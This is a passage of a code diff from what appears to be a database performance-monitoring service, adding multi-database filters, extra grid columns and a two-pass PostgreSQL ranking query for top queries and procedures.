+    /// (<see cref="DatabaseFilter.All"/> keeps every row). This read has always filtered IN C#, over the latest snapshot,
+    /// comparing with <see cref="StringComparison.OrdinalIgnoreCase"/> so a differently cased name over MCP still matches;
+    /// that rule stays, and now matches ANY name in the list. It does not move to SQL, and it never moves the snapshot
+    /// anchor: the caller tests the UNFILTERED snapshot for "nothing collected" (unavailable) before it filters, so a
+    /// filter that matches nothing is a quiet answer for the chosen databases, never an "unavailable" one.
+    /// </summary>
+    public static List<DatabaseConfigReadRow> FilterToDatabases(IEnumerable<DatabaseConfigReadRow> rows, DatabaseFilter databases)
+    {
+        if (databases.IsAll)
+        {
+            return rows.ToList();
+        }
+
+        var chosen = databases.Names;
+        return rows
+            .Where(r => chosen.Any(name => r.DatabaseName.Equals(name, StringComparison.OrdinalIgnoreCase)))
+            .ToList();
+    }
+
     /* ─────────────────────────── trace flags (DBCC TRACESTATUS) ─────────────────────────── */
 
     public sealed record TraceFlagReadRow(int TraceFlag, bool Status, bool IsGlobal, bool IsSession);
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs
index 39c76e271c..3f3a78f775 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs
@@ -9,11 +9,13 @@
 using System;
 using System.Collections.Generic;
 using System.Diagnostics;
+using System.Globalization;
 using System.Runtime.CompilerServices;
 using System.Runtime.ExceptionServices;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Analysis.Baselines;
 using NpgsqlTypes;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
@@ -226,13 +228,36 @@ public sealed record TopQueryRow(
            per-hash grouping — it is only interesting under host-object rollup, where it IS the finding:
            a proc whose dynamic SQL fragments across 21 hashes reports 21 here, which is the number that
            explains why top-N-by-hash could never surface it. */
-        long DistinctQueryHashes = 1);
+        long DistinctQueryHashes = 1,
+        /* The desktop grid's remaining columns; null on the hourly tier, which does not carry them. */
+        TopQueryDetail? Detail = null);
+
+    /// <summary>The per-group extremes and identity fields the desktop Top Queries grid shows beyond the core
+    /// ranking columns. Every field is null when the store has no value. <c>LastExecutionTime</c> and
+    /// <c>CreationTime</c> are naive UTC, converted from the monitored server's clock at the read.</summary>
+    public sealed record TopQueryDetail(
+        DateTime? LastExecutionTime, DateTime? CreationTime,
+        long? MinPhysicalReads, long? MaxPhysicalReads, long? MinRows, long? MaxRows,
+        long? MinGrantKb, long? MaxGrantKb, long? MinUsedGrantKb, long? MaxUsedGrantKb,
+        long? MinIdealGrantKb, long? MaxIdealGrantKb, long? MinSpills, long? MaxSpills,
+        long? MinReservedThreads, long? MaxReservedThreads, long? MinUsedThreads, long? MaxUsedThreads,
+        long? TotalClrTimeUs, long? PlanGenerationNum, double? WorkerTimePerSecond);
 
     /// <summary>One (database, schema, object) group's summed procedure-stats deltas over the window.</summary>
     public sealed record TopProcedureRow(
         string DatabaseName, string SchemaName, string ObjectName, string ObjectType, string SqlHandle, string PlanHandle,
         long TotalExecutions, long TotalCpuUs, long TotalElapsedUs, long TotalLogicalReads, long TotalLogicalWrites,
-        long TotalPhysicalReads, long TotalSpills, long MinCpuUs, long MaxCpuUs, long MinElapsedUs, long MaxElapsedUs);
+        long TotalPhysicalReads, long TotalSpills, long MinCpuUs, long MaxCpuUs, long MinElapsedUs, long MaxElapsedUs,
+        /* The desktop grid's remaining columns; null on the hourly tier, which does not carry them. */
+        TopProcedureDetail? Detail = null);
+
+    /// <summary>The per-group extremes and times the desktop Top Procedures grid shows beyond the core ranking
+    /// columns. Every field is null when the store has no value. <c>LastExecutionTime</c> and <c>CachedTime</c>
+    /// are naive UTC, converted from the monitored server's clock at the read.</summary>
+    public sealed record TopProcedureDetail(
+        DateTime? LastExecutionTime, DateTime? CachedTime,
+        long? MinLogicalReads, long? MaxLogicalReads, long? MinPhysicalReads, long? MaxPhysicalReads,
+        long? MinLogicalWrites, long? MaxLogicalWrites, long? MinSpills, long? MaxSpills);
 
     /// <summary>
     /// One Query Store (database, query_id, plan_id, query_hash, replica_role) group's interval averages.
@@ -797,7 +822,8 @@ public static async Task<LatestSnapshot<MemoryClerkRow>> GetLatestMemoryClerksAs
     /// The latest file-I/O snapshot per database file — Lite's <c>GetLatestFileIoStatsAsync</c>, ordered
     /// by total stall descending; avg latency (stall/op) is computed by the tool. size_mb is
     /// <c>numeric</c> → double precision, and NULL for the log file of an Azure SQL Database Hyperscale database;
-    /// the delta columns are bigint. $1 server_id. <c>collection_time</c>
+    /// the delta columns are bigint. $1 server_id, $2 the chosen databases (#5244: one text[], NULL for every database; the
+    /// anchor subquery is NOT filtered). <c>collection_time</c>
     /// is the trailing column (#3541 A10): the snapshot's stamp, read once and published as <c>captured_at</c>.
     /// </summary>
     public const string LatestFileIoStatsSql = """
@@ -818,17 +844,45 @@ public static async Task<LatestSnapshot<MemoryClerkRow>> GetLatestMemoryClerksAs
         FROM v_file_io_stats
         WHERE server_id = $1
         AND   collection_time = (SELECT MAX(collection_time) FROM v_file_io_stats WHERE server_id = $1)
+        AND   ($2::text[] IS NULL OR database_name = ANY($2))
         ORDER BY (delta_stall_read_ms + delta_stall_write_ms) DESC
         """;
 
-    public static async Task<LatestSnapshot<FileIoRow>> GetLatestFileIoStatsAsync(
+    /// <summary>
+    /// When the newest file-I/O snapshot was taken, whatever databases it holds (#5244). A snapshot read filters ROWS and
+    /// never moves its anchor, so a filtered read that finds no row asks this to tell "the chosen databases are not in the
+    /// newest capture" (a true negative, <c>empty</c>) from "nothing was ever collected" (<c>unavailable</c>). NULL when no
+    /// file I/O row exists for the server. $1 server_id.
+    /// </summary>
+    public const string LatestFileIoCaptureSql = """
+        SELECT MAX(collection_time) FROM v_file_io_stats WHERE server_id = $1
+        """;
+
+    /// <summary>Runs <see cref="LatestFileIoCaptureSql"/>: the newest file-I/O capture's stamp, or null when none exists.</summary>
+    public static async Task<DateTime?> GetLatestFileIoCaptureAsync(
         NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default)
+    {
+        await using var command = postgres.CreateCommand(LatestFileIoCaptureSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        AddInt(command, serverId);
+        var value = await command.ExecuteScalarAsync(cancellationToken);
+        return value is DateTime stamp ? stamp : null;
+    }
+
+    /// <summary>
+    /// The newest file-I/O snapshot (#5244: <paramref name="databases"/> keeps the rows of the chosen databases; the default
+    /// is every database). The filter is on the rows only: the capture the rows come from is the server's newest whatever the
+    /// filter, so a filtered and an unfiltered call show the same capture.
+    /// </summary>
+    public static async Task<LatestSnapshot<FileIoRow>> GetLatestFileIoStatsAsync(
+        NpgsqlDataSource postgres, int serverId, DatabaseFilter databases = default, CancellationToken cancellationToken = default)
     {
         var rows = new List<FileIoRow>();
         DateTime? capturedAt = null;
         await using var command = postgres.CreateCommand(LatestFileIoStatsSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         AddInt(command, serverId);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -1016,15 +1070,71 @@ public static async Task<LatestSnapshot<PerfmonRow>> GetLatestPerfmonStatsAsync(
     /// Top query-stats groups over the window — a focused projection of the viewer's <c>TopQueriesSql</c>
     /// (the columns Lite's get_top_queries_by_cpu returns): group by (database, query_hash), sum the
     /// deltas + carry min/max spreads, rank by summed <c>delta_worker_time</c> (CPU — the tool's promise;
-    /// #3523, the viewer's duration grid keeps its elapsed ranking) descending, over-fetch by
-    /// 5 to drop WAITFOR shells via the latest-text LATERAL, cap at top. Summed bigints CAST back to bigint
+    /// #3523, the viewer's duration grid keeps its elapsed ranking) descending, over-fetch
+    /// candidates (top + 5, refilled by <c>TopFill</c>, #5313) to drop WAITFOR shells via the one latest-text lookup (#5309), cap at top. Summed bigints CAST back to bigint
     /// for the typed reader. The aggregate reads the base <c>query_stats</c> table (it projects no text);
-    /// the text LATERAL reads <c>v_query_stats</c>, which resolves the #1767 payload dimension — the plan
+    /// the text lookup reads <c>query_stats</c> plus <c>query_text_dim</c> for the newest row only, which resolves the #1767 payload dimension — the plan
     /// tools read it the same way. $1 server_id, $2/$3 window (naive UTC), $4 top, $5 database filter (NULL = all),
     /// $6 lifetime max_dop floor (0 = no parallelism filter; #3541 A13).
+    /// $7 the candidate limit for pass 1 (#5313: top + 5 first, larger when the WAITFOR trim leaves a short page).
     /// </summary>
     public const string TopQueriesSql = $"""
-        WITH ranked AS (
+        WITH winners AS MATERIALIZED (
+            /* #5226 pass 1 of 2: rank every group of the window on NARROW columns. The wide row (forty
+               aggregates and the distinct-text count) forces a sort of wide rows when it shares the
+               GROUP BY that ranks, so the ranking runs here without it and pass 2 builds the wide row for the
+               winners only. Everything that decides which groups exist or survive is repeated from the shipped
+               statement unchanged: the window, the database filter and the interval filter, the grouping key,
+               both HAVING predicates and the parallelism floor below. The rank anchor below is the chosen ranking's sum (the
+               anchor TopRankings.Apply replaces, exactly once), rank_cpu the CPU tie-break. Both sort NULLS LAST
+               (PostgreSQL leads a DESC sort with NULL), and the group key ends the ORDER BY so the order is
+               total: ties no longer fall to plan order. */
+            SELECT
+                database_name AS win_database_name,
+                query_hash AS win_query_hash,
+                host_object_name AS win_host_object_name,
+                $RANK$ AS rank_metric,
+                SUM(delta_worker_time) AS rank_cpu
+            FROM query_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
+            /* #4394: excludes zero-interval rows (sample_interval_seconds = 0) through
+               TimescaleSupport.IntervalHonestSourceFilter, the same filter the hourly successors
+               bake into their CREATE, so a raw-served and an hourly-served read of the same window
+               agree by construction. The collector writes a zero-interval row with zero deltas
+               (CollectorDeltaCalculator's first-sighting, reset and gap cases), so this changes no
+               total in practice. It keeps the two tiers from disagreeing if that ever stops holding. */
+            AND   {TimescaleSupport.IntervalHonestSourceFilter}
+            /* #2012 stage 2: host_object_name splits INSERT...EXEC callers that share a query_hash
+               (each proc-hosted statement groups under its own host object), while ad-hoc rows carry
+               NULL and keep collapsing into one group per hash exactly as before. */
+            GROUP BY database_name, query_hash, host_object_name
+            HAVING (SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0)
+            /* #3541 A13: the parallelism filter is part of the QUERY, applied to the grouped population
+               BEFORE the CPU ranking and the cap. It used to run in C# over the returned top-N page, so
+               parallel_only=true on a box whose twenty hottest plans were serial answered an empty page while
+               the window held parallel plans further down — and the engine's own CXPACKET advice sends agents
+               to exactly that call. $6 is the group's lifetime max_dop floor: 0 admits every group (the
+               unfiltered read, byte-identical in result to before), 2 is parallel_only, min_dop is itself. The
+               COALESCE keeps a group whose max_dop was never captured (NULL) out of a filtered page, which is
+               what the C# arm did too (null read as 0, and 0 > 1 is false). */
+            AND COALESCE(MAX(max_dop), 0) >= $6
+            ORDER BY rank_metric DESC NULLS LAST, rank_cpu DESC NULLS LAST, win_database_name, win_query_hash, win_host_object_name
+            /* #5313: $7 is the candidate limit, not a fixed over-fetch of five. The caller starts at top plus five and, when the
+               WAITFOR trim below leaves fewer than top rows while more candidates exist, asks again with a larger
+               $7 (TopFill, at most three rounds). The final LIMIT stays $4. */
+            LIMIT $7
+        ),
+        ranked AS (
+            /* #5226 pass 2 of 2: the wide row, built only for pass 1's winners. It re-scans the SAME window
+               with the SAME server, database and interval filters, or the distinct counts, the MAX handles and
+               the min/max extremes would change. The key match is NULL-safe: host_object_name is NULL on every
+               ad-hoc row (the majority), and a plain equality or IN would silently drop those groups. The
+               COALESCE equality is only a hashable pre-filter (PostgreSQL cannot hash or merge an IS NOT
+               DISTINCT FROM, so alone it would nested-loop every window row against every winner); the IS NOT
+               DISTINCT FROM terms make the match exact. A winner is unique per key, so no row repeats. */
             SELECT
                 database_name,
                 query_hash,
@@ -1046,6 +1156,27 @@ WITH ranked AS (
                 MAX(query_plan_hash) AS query_plan_hash,
                 MAX(sql_handle) AS sql_handle,
                 MAX(plan_handle) AS plan_handle,
+                MAX(last_execution_time) AS last_execution_time,
+                MAX(creation_time) AS creation_time,
+                MIN(min_physical_reads) AS min_physical_reads,
+                MAX(max_physical_reads) AS max_physical_reads,
+                MIN(min_rows) AS min_rows,
+                MAX(max_rows) AS max_rows,
+                MIN(min_grant_kb) AS min_grant_kb,
+                MAX(max_grant_kb) AS max_grant_kb,
+                MIN(min_used_grant_kb) AS min_used_grant_kb,
+                MAX(max_used_grant_kb) AS max_used_grant_kb,
+                MIN(min_ideal_grant_kb) AS min_ideal_grant_kb,
+                MAX(max_ideal_grant_kb) AS max_ideal_grant_kb,
+                MIN(min_spills) AS min_spills,
+                MAX(max_spills) AS max_spills,
+                MIN(min_reserved_threads) AS min_reserved_threads,
+                MAX(max_reserved_threads) AS max_reserved_threads,
+                MIN(min_used_threads) AS min_used_threads,
+                MAX(max_used_threads) AS max_used_threads,
+                MAX(total_clr_time) AS total_clr_time,
+                MAX(plan_generation_num) AS plan_generation_num,
+                MAX(CAST(delta_worker_time AS double precision) / NULLIF(sample_interval_seconds, 0) / 1000.0) AS worker_time_per_second,
                 /* #2012: how many DISTINCT statement texts this hash group merged. query_hash is a
                    SHAPE hash — INSERT...EXEC statements naming DIFFERENT callee procs share one
                    (reproduced live), and ad-hoc literal variants collapse too — so a group with
@@ -1053,36 +1184,64 @@ SHAPE hash — INSERT...EXEC statements naming DIFFERENT callee procs share one
                    the statement. Counted over the #1767 content digest already on every row (~free);
                    COUNT(DISTINCT) skips NULLs, so 0 means only pre-dimension legacy rows, which age
                    out with raw retention. */
-                COUNT(DISTINCT query_text_digest) AS distinct_texts
+                COUNT(DISTINCT query_text_digest) AS distinct_texts,
+                MAX(w.rank_metric) AS rank_metric,
+                MAX(w.rank_cpu) AS rank_cpu
             FROM query_stats
+            JOIN winners AS w
+                ON  COALESCE(query_hash, '') = COALESCE(w.win_query_hash, '')
+                AND database_name IS NOT DISTINCT FROM w.win_database_name
+                AND query_hash IS NOT DISTINCT FROM w.win_query_hash
+                AND host_object_name IS NOT DISTINCT FROM w.win_host_object_name
             WHERE server_id = $1
             AND   collection_time >= $2
             AND   collection_time <= $3
-            AND   ($5::text IS NULL OR database_name = $5)
-            /* #4394: excludes zero-interval rows (sample_interval_seconds = 0) through
-               TimescaleSupport.IntervalHonestSourceFilter, the same filter the hourly successors
-               bake into their CREATE, so a raw-served and an hourly-served read of the same window
-               agree by construction. The collector writes a zero-interval row with zero deltas
-               (CollectorDeltaCalculator's first-sighting, reset and gap cases), so this changes no
-               total in practice. It keeps the two tiers from disagreeing if that ever stops holding. */
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             AND   {TimescaleSupport.IntervalHonestSourceFilter}
-            /* #2012 stage 2: host_object_name splits INSERT...EXEC callers that share a query_hash
-               (each proc-hosted statement groups under its own host object), while ad-hoc rows carry
-               NULL and keep collapsing into one group per hash exactly as before. */
             GROUP BY database_name, query_hash, host_object_name
-            HAVING (SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0)
-            /* #3541 A13: the parallelism filter is part of the QUERY, applied to the grouped population
-               BEFORE the CPU ranking and the cap. It used to run in C# over the returned top-N page, so
-               parallel_only=true on a box whose twenty hottest plans were serial answered an empty page while
-               the window held parallel plans further down — and the engine's own CXPACKET advice sends agents
-               to exactly that call. $6 is the group's lifetime max_dop floor: 0 admits every group (the
-               unfiltered read, byte-identical in result to before), 2 is parallel_only, min_dop is itself. The
-               COALESCE keeps a group whose max_dop was never captured (NULL) out of a filtered page, which is
-               what the C# arm did too (null read as 0, and 0 > 1 is false). */
-            AND COALESCE(MAX(max_dop), 0) >= $6
-            ORDER BY SUM(delta_worker_time) DESC
-            LIMIT $4 + 5
-        )
+        ),
+        latest_text AS MATERIALIZED (
+            /* #5309: the representative text of EVERY ranked group in ONE lookup. This used to be a lateral
+               lookup of the newest row, one per ranked row, which on a store without TimescaleDB scanned
+               the raw table once per row (25 scans, 28 of 38 seconds at seven days). Here one pass reads the
+               window's rows for the winners' keys and keeps the newest row per key. The newest row is chosen on
+               narrow columns (the inline text exists only on pre-dimension rows) and the text is resolved from
+               query_text_dim for that one row afterwards, so the sort never carries a wide text. A row counts
+               as having text when its inline text or its dimension row exists, the rule v_query_stats' COALESCE
+               gives. The key match is NULL-safe, with the COALESCE equality as the hashable pre-filter (see
+               pass 2). The group's own host object keeps one caller's text from labelling another's (#2012).
+               MATERIALIZED, because the join to it below is NULL-safe (IS NOT DISTINCT FROM), which PostgreSQL
+               cannot hash: left plain, it inlines this CTE into a nested loop and re-runs it per ranked row
+               (a 120-candidate round scanned the 20,000-row query_text_dim 10,000 times, 9,975 ms; materialized,
+               805 ms, same rows). The CTE is read once and the join probes its result. */
+            SELECT
+                l.database_name,
+                l.query_hash,
+                l.host_object_name,
+                COALESCE(l.query_text, d.query_text) AS query_text
+            FROM
+            (
+                SELECT DISTINCT ON (q.database_name, q.query_hash, q.host_object_name)
+                    q.database_name,
+                    q.query_hash,
+                    q.host_object_name,
+                    q.query_text,
+                    q.query_text_digest
+                FROM query_stats AS q
+                JOIN winners AS w
+                    ON  COALESCE(q.query_hash, '') = COALESCE(w.win_query_hash, '')
+                    AND q.database_name IS NOT DISTINCT FROM w.win_database_name
+                    AND q.query_hash IS NOT DISTINCT FROM w.win_query_hash
+                    AND q.host_object_name IS NOT DISTINCT FROM w.win_host_object_name
+                WHERE q.server_id = $1
+                AND   q.collection_time >= $2
+                AND   q.collection_time <= $3
+                AND   (q.query_text IS NOT NULL OR EXISTS (SELECT 1 FROM query_text_dim AS d0 WHERE d0.digest = q.query_text_digest))
+                ORDER BY q.database_name, q.query_hash, q.host_object_name, q.collection_time DESC, q.collection_id DESC
+            ) AS l
+            LEFT JOIN query_text_dim AS d ON d.digest = l.query_text_digest
+        ),
+        page AS (
         SELECT
             r.database_name,
             r.query_hash,
@@ -1105,25 +1264,48 @@ ORDER BY SUM(delta_worker_time) DESC
             r.min_elapsed_time,
             r.max_elapsed_time,
             t.query_text,
-            r.distinct_texts
+            r.distinct_texts,
+            CAST(1 AS bigint) AS distinct_query_hashes,
+            r.last_execution_time,
+            r.creation_time,
+            r.min_physical_reads,
+            r.max_physical_reads,
+            r.min_rows,
+            r.max_rows,
+            r.min_grant_kb,
+            r.max_grant_kb,
+            r.min_used_grant_kb,
+            r.max_used_grant_kb,
+            r.min_ideal_grant_kb,
+            r.max_ideal_grant_kb,
+            r.min_spills,
+            r.max_spills,
+            r.min_reserved_threads,
+            r.max_reserved_threads,
+            r.min_used_threads,
+            r.max_used_threads,
+            r.total_clr_time,
+            r.plan_generation_num,
+            r.worker_time_per_second,
+            /* #5313: how many candidates pass 1 produced, so the caller can tell a short page that has more
+               candidates behind it from one that has run out. Last column: every earlier ordinal is unchanged. */
+            ROW_NUMBER() OVER (ORDER BY r.rank_metric DESC NULLS LAST, r.rank_cpu DESC NULLS LAST, r.database_name, r.query_hash, r.host_object_name) AS page_ord
         FROM ranked AS r
-        LEFT JOIN LATERAL (
-            SELECT query_text
-            FROM v_query_stats
-            WHERE server_id = $1
-            AND   query_hash = r.query_hash
-            AND   database_name = r.database_name
-            /* #2012 stage 2: the representative text must come from THIS group's own rows — before
-               this, the lookup could serve one caller's text for another caller's stats, which is
-               the exact mis-attribution the issue documents from live triage. */
-            AND   host_object_name IS NOT DISTINCT FROM r.host_object_name
-            AND   query_text IS NOT NULL
-            ORDER BY collection_time DESC
-            LIMIT 1
-        ) AS t ON TRUE
+        LEFT JOIN latest_text AS t
+            ON  t.database_name IS NOT DISTINCT FROM r.database_name
+            AND t.query_hash IS NOT DISTINCT FROM r.query_hash
+            AND t.host_object_name IS NOT DISTINCT FROM r.host_object_name
         WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
-        ORDER BY r.total_cpu_us DESC
+        ORDER BY r.rank_metric DESC NULLS LAST, r.rank_cpu DESC NULLS LAST, r.database_name, r.query_hash, r.host_object_name
         LIMIT $4
+        )
+        /* The candidate count rides on its own row, joined to the page, so a round whose candidates were
+           ALL trimmed still reports it (an empty page used to read as exhausted). page_ord is NULL on that
+           row, which is how the caller tells it from a page row. */
+        SELECT p.*, c.candidate_count
+        FROM (SELECT COUNT(*) AS candidate_count FROM winners) AS c
+        LEFT JOIN page AS p ON TRUE
+        ORDER BY p.page_ord
         """;
 
     /// <summary>
@@ -1154,7 +1336,50 @@ ORDER BY r.total_cpu_us DESC
     /// is when <c>distinct_texts &gt; 1</c> — <c>distinct_query_hashes</c> is what says so.</para>
     /// </summary>
     public const string TopQueriesByHostObjectSql = $"""
-        WITH ranked AS (
+        WITH winners AS MATERIALIZED (
+            /* #5226 pass 1 of 2: rank every group of the window on NARROW columns. The wide row (forty
+               aggregates and the distinct-text count) forces a sort of wide rows when it shares the
+               GROUP BY that ranks, so the ranking runs here without it and pass 2 builds the wide row for the
+               winners only. Everything that decides which groups exist or survive is repeated from the shipped
+               statement unchanged: the window, the database filter and the interval filter, the grouping key,
+               both HAVING predicates and the parallelism floor below. The rank anchor below is the chosen ranking's sum (the
+               anchor TopRankings.Apply replaces, exactly once), rank_cpu the CPU tie-break. Both sort NULLS LAST
+               (PostgreSQL leads a DESC sort with NULL), and the group key (database, host object, then the CASE key below) ends the ORDER BY so the order is
+               total: ties no longer fall to plan order. */
+            SELECT
+                database_name AS win_database_name,
+                host_object_name AS win_host_object_name,
+                CASE WHEN host_object_name IS NULL THEN query_hash END AS win_group_hash,
+                $RANK$ AS rank_metric,
+                SUM(delta_worker_time) AS rank_cpu
+            FROM query_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
+            /* #4394: same first-collection exclusion as TopQueriesSql — see its note. */
+            AND   {TimescaleSupport.IntervalHonestSourceFilter}
+            /* #2235: proc-hosted rows collapse to one row per (database, host object) — every literal
+               fragment of one statement lands together. Ad-hoc rows (host_object_name NULL) fall to the
+               CASE and stay keyed on their OWN query_hash, so they group exactly as the default read does;
+               without that arm every unrelated ad-hoc statement in a database would pool into one row. */
+            GROUP BY database_name, host_object_name,
+                     CASE WHEN host_object_name IS NULL THEN query_hash END
+            HAVING (SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0)
+            /* #3541 A13: same in-query parallelism floor as TopQueriesSql — see its note. Under the rollup
+               the group's max_dop is the max across every fragment, so a procedure whose dynamic SQL went
+               parallel in ANY fragment passes parallel_only, which is the question being asked. */
+            AND COALESCE(MAX(max_dop), 0) >= $6
+            ORDER BY rank_metric DESC NULLS LAST, rank_cpu DESC NULLS LAST, win_database_name, win_host_object_name, win_group_hash
+            /* #5313: $7 is the candidate limit — see TopQueriesSql. The final LIMIT stays $4. */
+            LIMIT $7
+        ),
+        ranked AS (
+            /* #5226 pass 2 of 2: the wide row for pass 1's winners, over the same window and filters. The match
+               is on the grouping key, NULL-safe, with the CASE key computed the way pass 1 grouped it: a proc-hosted
+               group matches on (database, host object) and EVERY fragment hash, an ad-hoc group on its own hash
+               (NULL host object and NULL hash included). The COALESCE equalities are only the hashable pre-filter
+               (see TopQueriesSql); the IS NOT DISTINCT FROM terms make the match exact. */
             SELECT
                 database_name,
                 MAX(query_hash) AS query_hash,
@@ -1176,30 +1401,80 @@ WITH ranked AS (
                 MAX(query_plan_hash) AS query_plan_hash,
                 MAX(sql_handle) AS sql_handle,
                 MAX(plan_handle) AS plan_handle,
+                MAX(last_execution_time) AS last_execution_time,
+                MAX(creation_time) AS creation_time,
+                MIN(min_physical_reads) AS min_physical_reads,
+                MAX(max_physical_reads) AS max_physical_reads,
+                MIN(min_rows) AS min_rows,
+                MAX(max_rows) AS max_rows,
+                MIN(min_grant_kb) AS min_grant_kb,
+                MAX(max_grant_kb) AS max_grant_kb,
+                MIN(min_used_grant_kb) AS min_used_grant_kb,
+                MAX(max_used_grant_kb) AS max_used_grant_kb,
+                MIN(min_ideal_grant_kb) AS min_ideal_grant_kb,
+                MAX(max_ideal_grant_kb) AS max_ideal_grant_kb,
+                MIN(min_spills) AS min_spills,
+                MAX(max_spills) AS max_spills,
+                MIN(min_reserved_threads) AS min_reserved_threads,
+                MAX(max_reserved_threads) AS max_reserved_threads,
+                MIN(min_used_threads) AS min_used_threads,
+                MAX(max_used_threads) AS max_used_threads,
+                MAX(total_clr_time) AS total_clr_time,
+                MAX(plan_generation_num) AS plan_generation_num,
+                MAX(CAST(delta_worker_time AS double precision) / NULLIF(sample_interval_seconds, 0) / 1000.0) AS worker_time_per_second,
                 COUNT(DISTINCT query_text_digest) AS distinct_texts,
                 /* #2235: the fragment count IS the finding — 21 here is why a per-hash ranking missed it. */
-                COUNT(DISTINCT query_hash) AS distinct_query_hashes
+                COUNT(DISTINCT query_hash) AS distinct_query_hashes,
+                MAX(w.rank_metric) AS rank_metric,
+                MAX(w.rank_cpu) AS rank_cpu
             FROM query_stats
+            JOIN winners AS w
+                ON  COALESCE(host_object_name, '') = COALESCE(w.win_host_object_name, '')
+                AND COALESCE(CASE WHEN host_object_name IS NULL THEN query_hash END, '') = COALESCE(w.win_group_hash, '')
+                AND database_name IS NOT DISTINCT FROM w.win_database_name
+                AND host_object_name IS NOT DISTINCT FROM w.win_host_object_name
+                AND CASE WHEN host_object_name IS NULL THEN query_hash END IS NOT DISTINCT FROM w.win_group_hash
             WHERE server_id = $1
             AND   collection_time >= $2
             AND   collection_time <= $3
-            AND   ($5::text IS NULL OR database_name = $5)
-            /* #4394: same first-collection exclusion as TopQueriesSql — see its note. */
+            AND   ($5::text[] IS NULL OR database_name = ANY($5))
             AND   {TimescaleSupport.IntervalHonestSourceFilter}
-            /* #2235: proc-hosted rows collapse to one row per (database, host object) — every literal
-               fragment of one statement lands together. Ad-hoc rows (host_object_name NULL) fall to the
-               CASE and stay keyed on their OWN query_hash, so they group exactly as the default read does;
-               without that arm every unrelated ad-hoc statement in a database would pool into one row. */
             GROUP BY database_name, host_object_name,
                      CASE WHEN host_object_name IS NULL THEN query_hash END
-            HAVING (SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0)
-            /* #3541 A13: same in-query parallelism floor as TopQueriesSql — see its note. Under the rollup
-               the group's max_dop is the max across every fragment, so a procedure whose dynamic SQL went
-               parallel in ANY fragment passes parallel_only, which is the question being asked. */
-            AND COALESCE(MAX(max_dop), 0) >= $6
-            ORDER BY SUM(delta_worker_time) DESC
-            LIMIT $4 + 5
-        )
+        ),
+        latest_text AS MATERIALIZED (
+            /* #5309: one lookup for every ranked group - see TopQueriesSql. The key is the grouping key: a
+               proc-hosted group takes the newest text of ANY of its fragments (host object, no hash), an
+               ad-hoc group the newest text of its OWN hash, exactly the old per-row predicate. */
+            SELECT
+                l.database_name,
+                l.host_object_name,
+                l.group_hash,
+                COALESCE(l.query_text, d.query_text) AS query_text
+            FROM
+            (
+                SELECT DISTINCT ON (q.database_name, q.host_object_name, CASE WHEN q.host_object_name IS NULL THEN q.query_hash END)
+                    q.database_name,
+                    q.host_object_name,
+                    CASE WHEN q.host_object_name IS NULL THEN q.query_hash END AS group_hash,
+                    q.query_text,
+                    q.query_text_digest
+                FROM query_stats AS q
+                JOIN winners AS w
+                    ON  COALESCE(q.host_object_name, '') = COALESCE(w.win_host_object_name, '')
+                    AND COALESCE(CASE WHEN q.host_object_name IS NULL THEN q.query_hash END, '') = COALESCE(w.win_group_hash, '')
+                    AND q.database_name IS NOT DISTINCT FROM w.win_database_name
+                    AND q.host_object_name IS NOT DISTINCT FROM w.win_host_object_name
+                    AND CASE WHEN q.host_object_name IS NULL THEN q.query_hash END IS NOT DISTINCT FROM w.win_group_hash
+                WHERE q.server_id = $1
+                AND   q.collection_time >= $2
+                AND   q.collection_time <= $3
+                AND   (q.query_text IS NOT NULL OR EXISTS (SELECT 1 FROM query_text_dim AS d0 WHERE d0.digest = q.query_text_digest))
+                ORDER BY q.database_name, q.host_object_name, CASE WHEN q.host_object_name IS NULL THEN q.query_hash END, q.collection_time DESC, q.collection_id DESC
+            ) AS l
+            LEFT JOIN query_text_dim AS d ON d.digest = l.query_text_digest
+        ),
+        page AS (
         SELECT
             r.database_name,
             r.query_hash,
@@ -1223,32 +1498,58 @@ ORDER BY SUM(delta_worker_time) DESC
             r.max_elapsed_time,
             t.query_text,
             r.distinct_texts,
-            r.distinct_query_hashes
+            r.distinct_query_hashes,
+            r.last_execution_time,
+            r.creation_time,
+            r.min_physical_reads,
+            r.max_physical_reads,
+            r.min_rows,
+            r.max_rows,
+            r.min_grant_kb,
+            r.max_grant_kb,
+            r.min_used_grant_kb,
+            r.max_used_grant_kb,
+            r.min_ideal_grant_kb,
+            r.max_ideal_grant_kb,
+            r.min_spills,
+            r.max_spills,
+            r.min_reserved_threads,
+            r.max_reserved_threads,
+            r.min_used_threads,
+            r.max_used_threads,
+            r.total_clr_time,
+            r.plan_generation_num,
+            r.worker_time_per_second,
+            /* #5313: candidates pass 1 produced (last column) - see TopQueriesSql. */
+            ROW_NUMBER() OVER (ORDER BY r.rank_metric DESC NULLS LAST, r.rank_cpu DESC NULLS LAST, r.database_name, r.host_object_name, r.query_hash) AS page_ord
         FROM ranked AS r
-        LEFT JOIN LATERAL (
-            SELECT query_text
-            FROM v_query_stats
-            WHERE server_id = $1
-            AND   database_name = r.database_name
-            /* Mirrors the grouping: for a rolled-up proc any of its fragments' texts is a valid
-               representative, but an ad-hoc row must still match its own hash or the text could come from
-               an unrelated statement. */
